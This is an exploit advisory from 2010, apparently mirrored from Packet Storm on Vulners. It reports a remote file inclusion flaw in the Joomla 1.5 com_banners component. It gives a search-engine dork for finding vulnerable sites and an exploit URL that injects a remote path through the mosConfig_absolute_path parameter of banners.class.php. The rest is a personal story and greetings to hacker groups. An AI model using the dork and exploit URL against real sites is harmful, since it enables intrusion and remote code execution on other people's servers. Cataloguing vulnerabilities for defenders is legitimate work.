Lucene search
K

Joomla Banners Remote File Inclusion

🗓️ 23 Oct 2010 00:00:00Reported by jos_ali_joeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

Joomla com_banners RFI Vulnerability, Joomla 1.5, Remote File Inclusio

Code
`=========================================================  
Joomla Component com_banners RFI Vulnerability  
=========================================================  
  
[+]Title : Joomla Component com_banners RFI Vulnerability  
[+]Author : jos_ali_joe  
[+]Contact : [email protected]  
[+]Home : http://josalijoe.wordpress.com/   
  
  
########################################################################   
  
Dork : inurl:index.php?option="com_banners"  
  
########################################################################   
  
[ Software Information ]  
  
######################################################################################  
[+] Vendor : http://joomla.org/  
[+] Archive : http://docs.joomla.org/Reinstalling_deleted_Joomla_1.5_core_extensions  
[+] version : Joomla 1.5  
[+] Vulnerability : RFI  
[+] Dork : com_banners  
######################################################################################  
  
==========================================================================  
  
RFI Exploit   
  
Exploit : http://example.com/components/com_banners/banners.class.php?mosConfig_absolute_path=[ packetstormsecurity ]  
  
==========================================================================  
  
####################################################################################  
  
a little story from my  
  
before thank you for the admin and staff packetstorm security  
  
who already receive exploit archive from newbie jos_ali_joe  
  
I do not have the kind of teacher or her  
  
My teacher just google  
  
and my brother who has been guiding me. N4ck0 - Aury - TeRRenJr - ArRay  
  
I will create a spirit of looking for bugs / dork and submit the packetstorm security.  
  
Thanks for packetstorm security \m/  
  
####################################################################################  
  
Thanks :  
  
./kaMtiEz – ibl13Z – Xrobot – tukulesto – R3m1ck – jundab - asickboys- Vyc0d – Yur4kha - XPanda   
  
./ArRay – akatsuchi – K4pt3N – Gameover – antitos – yuki – pokeng – ffadill - Alecs - v3n0m - RJ45  
  
./Kiddies – pL4nkt0n – chaer newbie – andriecom – Abu_adam – Petimati - hakz – Virgi – Anharku - a17z a.k.a maho  
  
  
./Me Family ATeN4 :  
  
./N4ck0 - Aury - TeRRenJr - Rafael - aphe-aphe   
  
Greets For :  
  
./Devilzc0de crew – Kebumen Cyber – Explore Crew – Indonesian Hacker - Yogyacarderlink - Hacker Newbie - Wannabe Hacker   
  
My Team : ./Indonesian Coder  
  
Special Thanks To :  
  
/. Admin and Staff packetstorm security  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation